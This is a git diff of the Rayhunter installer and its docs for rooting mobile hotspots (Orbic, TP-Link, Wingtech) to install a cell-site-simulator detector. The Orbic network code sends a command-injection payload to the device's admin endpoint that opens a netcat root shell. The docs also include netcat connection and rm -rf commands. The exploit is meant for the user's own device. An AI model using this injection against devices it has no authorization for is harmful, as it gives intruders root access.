If you are using an installer prior to 0.7.0 or `orbic-usb` explicitly, you can
|
||||
obtain a root shell by running `adb shell` or `./installer util shell`. Then,
|
||||
inside of that shell you can run `/bin/rootshell` to obtain "fakeroot."
|
||||
If you are using the network installer, there will not be a rootshell and ADB will not be enabled by the installer. Instead you can use `./installer util orbic-start-telnet` and connect to the hotspot using `nc 192.168.1.1 23`. On Windows you might not have `nc` and will have to use WSL for that.
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 61 KiB After Width: | Height: | Size: 48 KiB |
+2
-2
@@ -16,7 +16,7 @@ using the `rayhunter-check` CLI tool. That tool contains the same heuristics as
|
||||
Rayhunter and will also work on traffic data captured with other tools, such as
|
||||
QCSuper.
|
||||
|
||||
Since 0.6.1, `rayhunter-check` is included in the release zipfile.
|
||||
Since, 0.6.1, `rayhunter-check` is included in the release zipfile.
|
||||
|
||||
You can build `rayhunter-check` from source with the following command:
|
||||
`cargo build --bin rayhunter-check`
|
||||
@@ -42,4 +42,4 @@ Options:
|
||||
|
||||
`rayhunter-check -p ~/Downloads #Check all files in downloads`
|
||||
|
||||
`rayhunter-check -d -p ~/Downloads/myfile.qmdl #run in debug mode`
|
||||
`rayhunter-check -d -p ~/Downloads/myfile.qmdl #run in debug mode`
|
||||
@@ -37,7 +37,7 @@ According to FCC ID 2APXW-TMOHS1 Test Report No. I20Z61602-WMD02 ([part 1](https
|
||||
| 71 | 600 MHz (USDD) |
|
||||
|
||||
## Installing
|
||||
Connect to the TMOHS1's network over WiFi or USB tethering.
|
||||
Connect to the TMOHS1's network over wifi or usb tethering.
|
||||
|
||||
The device will not accept web requests until after the default password is changed.
|
||||
If you have not previously logged in, log in using the default password printed under the battery and change the admin password.
|
||||
|
||||
+3
-13
@@ -4,16 +4,6 @@ Supported in Rayhunter since version 0.3.0.
|
||||
|
||||
The TP-Link M7350 supports many more frequency bands than Orbic and therefore works in Europe and also in some Asian and African countries.
|
||||
|
||||
## Supported Bands
|
||||
|
||||
| Technology | Bands |
|
||||
| ---------- | ----- |
|
||||
| 4G LTE | B1/B3/B7/B8/B20 (2100/1800/2600/900/800 MHz) |
|
||||
| 3G | B1/B8 (2100/900 MHz) |
|
||||
| 2G | 850/900/1800/1900 MHz |
|
||||
|
||||
*Source: [TP-Link Official Product Page](https://www.tp-link.com/baltic/service-provider/lte-3g/m7350/)*
|
||||
|
||||
## Hardware versions
|
||||
|
||||
The TP-Link comes in many different *hardware versions*. Support for installation varies:
|
||||
@@ -33,8 +23,8 @@ When filing bug reports, particularly with the installer, please always specify
|
||||
You can get your TP-Link M7350 from:
|
||||
|
||||
* First check for used offers on local sites, sometimes it's much cheaper there.
|
||||
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350).
|
||||
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313).
|
||||
* [Geizhals price comparison](https://geizhals.eu/?fs=tp-link+m7350)
|
||||
* [Ebay](https://www.ebay.com/sch/i.html?_nkw=tp-link+m7350&_sacat=0&_from=R40&_trksid=p4432023.m570.l1313)
|
||||
|
||||
## Installation & Usage
|
||||
|
||||
@@ -62,7 +52,7 @@ If your device has a one-bit (black-and-white) display, Rayhunter will instead s
|
||||
## Power-saving mode/sleep
|
||||
|
||||
By default the device will go to sleep after N minutes of no devices being connected. In that mode it will also turn off connections to cell phone towers.
|
||||
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connected on the TP-Link's WiFi.
|
||||
In order for Rayhunter to record continuously, you have to turn off this sleep mode in TP-Link's admin panel (go to **Advanced** - **Power Saving**) or keep e.g. your phone connectd on the TP-Link's WiFi.
|
||||
|
||||
## Port triggers
|
||||
|
||||
|
||||
+2
-2
@@ -8,7 +8,7 @@ Once in a rootshell, run:
|
||||
|
||||
```shell
|
||||
echo 3 > /usrdata/mode.cfg
|
||||
rm -rf /data/rayhunter /etc/init.d/rayhunter_daemon /bin/rootshell
|
||||
rm -rf /data/rayhunter /etc/init.d/rayhunter-daemon /bin/rootshell.sh
|
||||
reboot
|
||||
```
|
||||
|
||||
@@ -36,4 +36,4 @@ busybox vi /system/bin/initmifiservice.sh
|
||||
```
|
||||
Then type 999G (shift+g), then type dd. Then press the colon key (:) and type wq. Finally, press Enter.
|
||||
4. Lastly, run `setprop persist.sys.usb.config rndis`.
|
||||
5. Type `reboot` to reboot the device.
|
||||
5. Type `reboot` to reboot the device.
|
||||
@@ -14,7 +14,7 @@ You can access this UI in one of two ways:
|
||||
network and visit <http://192.168.1.1:8080> (orbic)
|
||||
or <http://192.168.0.1:8080> (tplink).
|
||||
|
||||
Click past your browser warning you about the connection not being secure; Rayhunter doesn't have HTTPS yet.
|
||||
Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet.
|
||||
|
||||
On the **Orbic**, you can find the WiFi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
||||
On the **TP-Link**, you can find the WiFi network password by going to the TP-Link's menu > Advanced > Wireless > Basic Settings.
|
||||
@@ -28,4 +28,4 @@ You can access this UI in one of two ways:
|
||||
|
||||
## Key shortcuts
|
||||
|
||||
As of Rayhunter version 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
|
||||
As of Rayhunter verion 0.3.3, you can start a new recording by double-tapping the power button. Any current recording will be stopped and a new recording will be started, resetting the red line as well. This feature is disabled by default since Rayhunter version 0.4.0 and needs to be enabled through [configuration](./configuration.md).
|
||||
|
||||
+1
-1
@@ -28,7 +28,7 @@ The most frequent bands found on these devices are LTE bands 1/3/5/8/20. In the
|
||||
|
||||
## Installing
|
||||
|
||||
With the device fully booted (i.e. beaming a WiFi network, blue LED, etc.) and plugged into the computer that is performing the installation, run:
|
||||
With the device fully booted (i.e. beaming a wifi network, blue LED, etc.) and plugged into the computer that is performing the installation, run:
|
||||
|
||||
```sh
|
||||
./installer uz801
|
||||
|
||||
@@ -29,7 +29,7 @@ Wingtechs are abundant on ebay and can also be found on Amazon:
|
||||
- <https://www.amazon.com/AT-Turbo-Hotspot-256-Black/dp/B09YWLXVWT>
|
||||
|
||||
## Installing
|
||||
Connect to the Wingtech's network over WiFi or USB tethering, then run the installer:
|
||||
Connect to the Wingtech's network over wifi or usb tethering, then run the installer:
|
||||
|
||||
```sh
|
||||
./installer wingtech --admin-password 12345678 # replace with your own password
|
||||
@@ -101,4 +101,4 @@ Caused by:
|
||||
3: Network is unreachable (os error 101)
|
||||
```
|
||||
|
||||
Make sure your computer is connected to the hotspot's WiFi network.
|
||||
Make sure your computer is connected to the hotspot's wifi network.
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 61 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 69 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 62 KiB |
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "installer"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
edition = "2024"
|
||||
|
||||
[dependencies]
|
||||
@@ -26,12 +26,12 @@ tokio-stream = "0.1.17"
|
||||
|
||||
[target.'cfg(target_os = "linux")'.dependencies.adb_client]
|
||||
git = "https://github.com/EFForg/adb_client.git"
|
||||
rev = "e511662394e4fa32865c154c40f81a3d846f700c"
|
||||
rev = "208a302367727554d7530e937ca8aee20a74fa51"
|
||||
default-features = false
|
||||
features = ["trans-nusb"]
|
||||
|
||||
[target.'cfg(any(target_os = "windows", target_os = "macos"))'.dependencies.adb_client]
|
||||
git = "https://github.com/EFForg/adb_client.git"
|
||||
rev = "e511662394e4fa32865c154c40f81a3d846f700c"
|
||||
rev = "208a302367727554d7530e937ca8aee20a74fa51"
|
||||
default-features = false
|
||||
features = ["trans-libusb"]
|
||||
|
||||
+8
-16
@@ -3,7 +3,6 @@ use clap::{Parser, Subcommand};
|
||||
use env_logger::Env;
|
||||
|
||||
mod orbic;
|
||||
mod orbic_auth;
|
||||
mod orbic_network;
|
||||
mod pinephone;
|
||||
mod tmobile;
|
||||
@@ -26,11 +25,12 @@ struct Args {
|
||||
// of the manufacturer's capitalisation.
|
||||
#[derive(Subcommand, Debug)]
|
||||
enum Command {
|
||||
/// Install rayhunter on the Orbic RC400L using the legacy USB+ADB-based installer.
|
||||
OrbicUsb(InstallOrbic),
|
||||
/// Install rayhunter on the Orbic Orbic RC400L.
|
||||
Orbic(InstallOrbic),
|
||||
/// Install rayhunter on the Orbic RC400L or Moxee Hotspot via network.
|
||||
#[clap(alias = "orbic-network")]
|
||||
Orbic(OrbicNetworkArgs),
|
||||
///
|
||||
/// This is an experimental installer for Orbic that does not require USB drivers on Windows.
|
||||
OrbicNetwork(OrbicNetworkArgs),
|
||||
/// Install rayhunter on the TMobile TMOHS1.
|
||||
Tmobile(TmobileArgs),
|
||||
/// Install rayhunter on the Uz801.
|
||||
@@ -76,14 +76,6 @@ struct OrbicNetworkArgs {
|
||||
/// IP address for Orbic admin interface, if custom.
|
||||
#[arg(long, default_value = "192.168.1.1")]
|
||||
admin_ip: String,
|
||||
|
||||
/// Admin username for authentication.
|
||||
#[arg(long, default_value = "admin")]
|
||||
admin_username: String,
|
||||
|
||||
/// Admin password for authentication.
|
||||
#[arg(long)]
|
||||
admin_password: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
@@ -206,8 +198,8 @@ async fn run() -> Result<(), Error> {
|
||||
Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?,
|
||||
Command::Pinephone(_) => pinephone::install().await
|
||||
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
||||
Command::OrbicUsb(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L (USB installer)")?,
|
||||
Command::Orbic(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||
Command::Util(subcommand) => match subcommand.command {
|
||||
UtilSubCommand::Serial(serial_cmd) => {
|
||||
@@ -245,7 +237,7 @@ async fn run() -> Result<(), Error> {
|
||||
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
||||
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, args.admin_password.as_deref()).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -61,10 +61,6 @@ async fn confirm() -> Result<bool> {
|
||||
}
|
||||
|
||||
pub async fn install() -> Result<()> {
|
||||
println!(
|
||||
"WARNING: The orbic USB installer is not recommended for most usecases. Consider using ./installer orbic instead, unless you want ADB access for other purposes."
|
||||
);
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
{
|
||||
let confirmation = confirm().await?;
|
||||
@@ -88,10 +84,6 @@ pub async fn install() -> Result<()> {
|
||||
}
|
||||
|
||||
pub async fn shell() -> Result<()> {
|
||||
println!(
|
||||
"WARNING: The orbic USB installer is likely to go away in a future version of Rayhunter. Consider using ./installer util orbic-start-telnet instead."
|
||||
);
|
||||
|
||||
println!("opening shell");
|
||||
let mut adb_device = get_adb().await?;
|
||||
adb_device.shell(&mut std::io::stdin(), Box::new(std::io::stdout()))?;
|
||||
@@ -254,7 +246,7 @@ async fn get_adb() -> Result<ADBUSBDevice> {
|
||||
const MAX_FAILURES: u32 = 10;
|
||||
let mut failures = 0;
|
||||
loop {
|
||||
match ADBUSBDevice::new(VENDOR_ID, PRODUCT_ID) {
|
||||
match ADBUSBDevice::new_no_auth(VENDOR_ID, PRODUCT_ID) {
|
||||
Ok(dev) => match adb_echo_test(dev).await {
|
||||
Ok(dev) => return Ok(dev),
|
||||
Err(e) => {
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use base64_light::base64_encode;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Helper function to swap characters in a string
|
||||
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
|
||||
let mut chars: Vec<char> = s.chars().collect();
|
||||
if pos1 < chars.len() && pos2 < chars.len() {
|
||||
chars.swap(pos1, pos2);
|
||||
}
|
||||
chars.into_iter().collect()
|
||||
}
|
||||
|
||||
/// Apply character swapping based on secret (unchanged from original algorithm)
|
||||
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
|
||||
for i in 0..4 {
|
||||
let byte = (secret_num >> (i * 8)) & 0xff;
|
||||
let pos1 = (byte as usize) % text.len();
|
||||
let pos2 = i % text.len();
|
||||
text = swap_chars(&text, pos1, pos2);
|
||||
}
|
||||
text
|
||||
}
|
||||
|
||||
/// Encode password using Orbic's custom algorithm
|
||||
///
|
||||
/// This function is a lot simpler than the original JavaScript because it always uses the same
|
||||
/// character set regardless of "password type", and any randomly generated values are hardcoded.
|
||||
pub fn encode_password(
|
||||
password: &str,
|
||||
secret: &str,
|
||||
timestamp: &str,
|
||||
timestamp_start: u64,
|
||||
) -> Result<String> {
|
||||
let current_time = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
// MD5 hash the password and use fixed prefix "a7" instead of random chars
|
||||
let password_md5 = format!("{:x}", md5::compute(password));
|
||||
let mut spliced_password = format!("a7{}", password_md5);
|
||||
|
||||
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
|
||||
|
||||
spliced_password = apply_secret_swapping(spliced_password, secret_num);
|
||||
|
||||
let timestamp_hex =
|
||||
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
|
||||
let time_delta = format!(
|
||||
"{:x}",
|
||||
timestamp_hex + (current_time - timestamp_start) as u32
|
||||
);
|
||||
|
||||
// Use fixed hex "6137" instead of hex encoding of random values
|
||||
let message = format!("6137x{}:{}", time_delta, spliced_password);
|
||||
|
||||
let result = base64_encode(&message);
|
||||
let result = apply_secret_swapping(result, secret_num);
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct LoginRequest {
|
||||
pub username: String,
|
||||
pub password: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginInfo {
|
||||
pub retcode: u32,
|
||||
#[serde(rename = "priKey")]
|
||||
pub pri_key: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct LoginResponse {
|
||||
pub retcode: u32,
|
||||
}
|
||||
+117
-138
@@ -4,11 +4,21 @@ use std::str::FromStr;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use axum::{
|
||||
Router,
|
||||
body::Body,
|
||||
extract::{Request, State},
|
||||
http::uri::Uri,
|
||||
response::{IntoResponse, Response},
|
||||
routing::any,
|
||||
};
|
||||
use hyper::StatusCode;
|
||||
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
||||
use reqwest::Client;
|
||||
use serde::Deserialize;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
||||
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||
|
||||
@@ -17,146 +27,16 @@ struct ExploitResponse {
|
||||
retcode: u32,
|
||||
}
|
||||
|
||||
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||
let client: Client = Client::new();
|
||||
|
||||
// Step 1: Get login info (priKey and session cookie)
|
||||
let login_info_response = client
|
||||
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to get login info")?;
|
||||
|
||||
let session_cookie = login_info_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.context("No session cookie received")?
|
||||
.split(';')
|
||||
.next()
|
||||
.context("Invalid cookie format")?
|
||||
.to_string();
|
||||
|
||||
let login_info: LoginInfo = login_info_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login info")?;
|
||||
|
||||
if login_info.retcode != 0 {
|
||||
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
|
||||
}
|
||||
|
||||
// Parse priKey (format: "secret x timestamp")
|
||||
let mut parts = login_info.pri_key.split('x');
|
||||
let secret = parts.next().context("Missing secret in priKey")?;
|
||||
let timestamp = parts.next().context("Missing timestamp in priKey")?;
|
||||
if parts.next().is_some() {
|
||||
bail!("Invalid priKey format: {}", login_info.pri_key);
|
||||
}
|
||||
|
||||
// Step 2: Encode credentials
|
||||
let username_md5 = format!("{:x}", md5::compute(username));
|
||||
let timestamp_start = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
|
||||
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
|
||||
.context("Failed to encode password")?;
|
||||
|
||||
let login_request = LoginRequest {
|
||||
username: username_md5,
|
||||
password: encoded_password,
|
||||
};
|
||||
|
||||
// Step 3: Perform login
|
||||
let login_response = client
|
||||
.post(format!("http://{}/goform/login", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", &session_cookie)
|
||||
.json(&login_request)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
// Extract authenticated session cookie from login response
|
||||
let authenticated_cookie = login_response
|
||||
.headers()
|
||||
.get("set-cookie")
|
||||
.and_then(|cookie| cookie.to_str().ok())
|
||||
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
|
||||
.unwrap_or(session_cookie);
|
||||
|
||||
let login_result: LoginResponse = login_response
|
||||
.json()
|
||||
.await
|
||||
.context("Failed to parse login response")?;
|
||||
|
||||
if login_result.retcode != 0 {
|
||||
bail!("Login failed with retcode: {}", login_result.retcode);
|
||||
}
|
||||
|
||||
// Step 4: Exploit using authenticated session
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", authenticated_cookie)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
// But some kajeet devices have password protected telnetd so we use port 24 just in case
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await
|
||||
.context("failed to start telnet")?
|
||||
.json()
|
||||
.await
|
||||
.context("failed to start telnet")?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response while starting telnet: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn start_telnet(
|
||||
admin_ip: &str,
|
||||
admin_username: &str,
|
||||
admin_password: Option<&str>,
|
||||
) -> Result<()> {
|
||||
let Some(admin_password) = admin_password else {
|
||||
anyhow::bail!("--admin-password is required");
|
||||
};
|
||||
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(admin_ip, admin_username, admin_password).await?;
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
|
||||
println!("Waiting for login and trying exploit... ");
|
||||
login_and_exploit(admin_ip).await?;
|
||||
println!("done");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn install(
|
||||
admin_ip: String,
|
||||
admin_username: String,
|
||||
admin_password: Option<String>,
|
||||
) -> Result<()> {
|
||||
let Some(admin_password) = admin_password else {
|
||||
eprintln!(
|
||||
"As of version 0.8.0, the orbic installer has been rewritten and now requires an --admin-password parameter."
|
||||
);
|
||||
eprintln!(
|
||||
"Refer to the official documentation at https://efforg.github.io/rayhunter/ for how to find the right value."
|
||||
);
|
||||
eprintln!();
|
||||
eprintln!(
|
||||
"If you are following a tutorial that does not include this parameter, the tutorial is likely outdated. You can run ./installer orbic-usb to access the old installer, however we recommend against it."
|
||||
);
|
||||
anyhow::bail!("exiting");
|
||||
};
|
||||
|
||||
echo!("Logging in and starting telnet... ");
|
||||
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
|
||||
println!("done");
|
||||
pub async fn install(admin_ip: String) -> Result<()> {
|
||||
start_telnet(&admin_ip).await?;
|
||||
|
||||
echo!("Waiting for telnet to become available... ");
|
||||
wait_for_telnet(&admin_ip).await?;
|
||||
@@ -165,8 +45,107 @@ pub async fn install(
|
||||
setup_rayhunter(&admin_ip).await
|
||||
}
|
||||
|
||||
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ProxyState {
|
||||
client: HttpProxyClient,
|
||||
admin_ip: String,
|
||||
session_sender: mpsc::Sender<String>,
|
||||
}
|
||||
|
||||
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
|
||||
// Check for existing session cookie in request
|
||||
if let Some(cookie_header) = req.headers().get("cookie")
|
||||
&& let Ok(cookie_str) = cookie_header.to_str()
|
||||
&& cookie_str.contains("-goahead-session-")
|
||||
{
|
||||
let _ = state.session_sender.send(cookie_str.to_owned()).await;
|
||||
}
|
||||
|
||||
let path_query = req
|
||||
.uri()
|
||||
.path_and_query()
|
||||
.map(|v| v.as_str())
|
||||
.unwrap_or("/");
|
||||
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||
|
||||
let response = state
|
||||
.client
|
||||
.request(req)
|
||||
.await
|
||||
.map_err(|_| StatusCode::BAD_REQUEST)?;
|
||||
Ok(response.into_response())
|
||||
}
|
||||
|
||||
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
|
||||
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
|
||||
.build(HttpConnector::new());
|
||||
let (tx, mut rx) = mpsc::channel(100);
|
||||
|
||||
let app = Router::new()
|
||||
.route("/", any(proxy_handler))
|
||||
.route("/{*path}", any(proxy_handler))
|
||||
.with_state(ProxyState {
|
||||
client,
|
||||
admin_ip: admin_ip.to_owned(),
|
||||
session_sender: tx,
|
||||
});
|
||||
|
||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
||||
.await
|
||||
.context("Failed to bind to port 4000")?;
|
||||
|
||||
println!(
|
||||
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
|
||||
);
|
||||
println!("Username: admin");
|
||||
println!(
|
||||
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
|
||||
);
|
||||
|
||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||
let exploit_client = Client::new();
|
||||
|
||||
let mut last_error = None;
|
||||
|
||||
while let Some(cookie_header) = rx.recv().await {
|
||||
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
|
||||
Ok(_) => {
|
||||
handle.abort();
|
||||
return Ok(());
|
||||
}
|
||||
Err(e) => last_error = Some(e),
|
||||
}
|
||||
}
|
||||
|
||||
handle.abort();
|
||||
bail!("Failed to receive session cookie, last error: {last_error:?}")
|
||||
}
|
||||
|
||||
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
|
||||
let response: ExploitResponse = client
|
||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||
.header("Content-Type", "application/json")
|
||||
.header("Cookie", cookie_header)
|
||||
// Original Orbic lacks telnetd (unlike other devices)
|
||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
|
||||
.send()
|
||||
.await?
|
||||
.json()
|
||||
.await?;
|
||||
|
||||
if response.retcode != 0 {
|
||||
bail!("unexpected response: {:?}", response);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
|
||||
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
||||
let timeout = Duration::from_secs(60);
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
@@ -187,7 +166,7 @@ async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
|
||||
let addr = SocketAddr::from_str(&format!("{}:24", admin_ip))?;
|
||||
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
|
||||
// Remount filesystem as read-write to allow modifications
|
||||
|
||||
@@ -22,7 +22,7 @@ pub async fn install() -> Result<()> {
|
||||
echo!("Unlocking modem ... ");
|
||||
start_adb().await?;
|
||||
sleep(Duration::from_secs(3)).await;
|
||||
let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
|
||||
let mut adb = ADBUSBDevice::new_no_auth(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
|
||||
println!("ok");
|
||||
|
||||
adb.run_command(&["mount", "-o", "remount,rw", "/"], "exit code 0")?;
|
||||
@@ -57,7 +57,7 @@ pub async fn install() -> Result<()> {
|
||||
echo!("Unlocking modem ... ");
|
||||
start_adb().await?;
|
||||
sleep(Duration::from_secs(3)).await;
|
||||
let mut adb = ADBUSBDevice::new(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
|
||||
let mut adb = ADBUSBDevice::new_no_auth(USB_VENDOR_ID, USB_PRODUCT_ID).unwrap();
|
||||
println!("ok");
|
||||
|
||||
echo!("Testing rayhunter ... ");
|
||||
|
||||
+11
-70
@@ -40,7 +40,6 @@ struct V3RootResponse {
|
||||
|
||||
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
let client = reqwest::Client::new();
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
println!("Launching telnet on the device");
|
||||
|
||||
@@ -86,20 +85,11 @@ pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
|
||||
anyhow::bail!("Bad result code when trying to reset the language: {result}");
|
||||
}
|
||||
|
||||
// Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
if telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
println!("Detected hardware revision v3, successfully opened telnet");
|
||||
println!("Detected hardware revision v3");
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
println!("This doesn't look like a v3 device, trying web-based exploit");
|
||||
println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
|
||||
tplink_launch_telnet_v5(admin_ip).await?;
|
||||
|
||||
Ok(false)
|
||||
@@ -114,16 +104,7 @@ async fn tplink_run_install(
|
||||
println!("Connecting via telnet to {admin_ip}");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
if skip_sdcard {
|
||||
sdcard_path = "/data/rayhunter-data".to_owned();
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mkdir -p {sdcard_path}"),
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
} else {
|
||||
if !skip_sdcard {
|
||||
if sdcard_path.is_empty() {
|
||||
let try_paths = [
|
||||
// TP-Link hardware less than v9.0
|
||||
@@ -265,14 +246,6 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
// on other versions, this path is /js/settings.min.js
|
||||
let is_settings_js = path.ends_with("/settings.min.js");
|
||||
|
||||
if is_settings_js {
|
||||
// It can happen that new versions of the admin JS do not take effect because of caching
|
||||
// headers. This is a problem when trying multiple versions of the installer. Delete all
|
||||
// caching headers and hope the server never erroneously returns a 304 that way.
|
||||
req.headers_mut().remove("If-Modified-Since");
|
||||
req.headers_mut().remove("If-None-Match");
|
||||
}
|
||||
|
||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
||||
|
||||
let mut response = state
|
||||
@@ -289,33 +262,12 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
|
||||
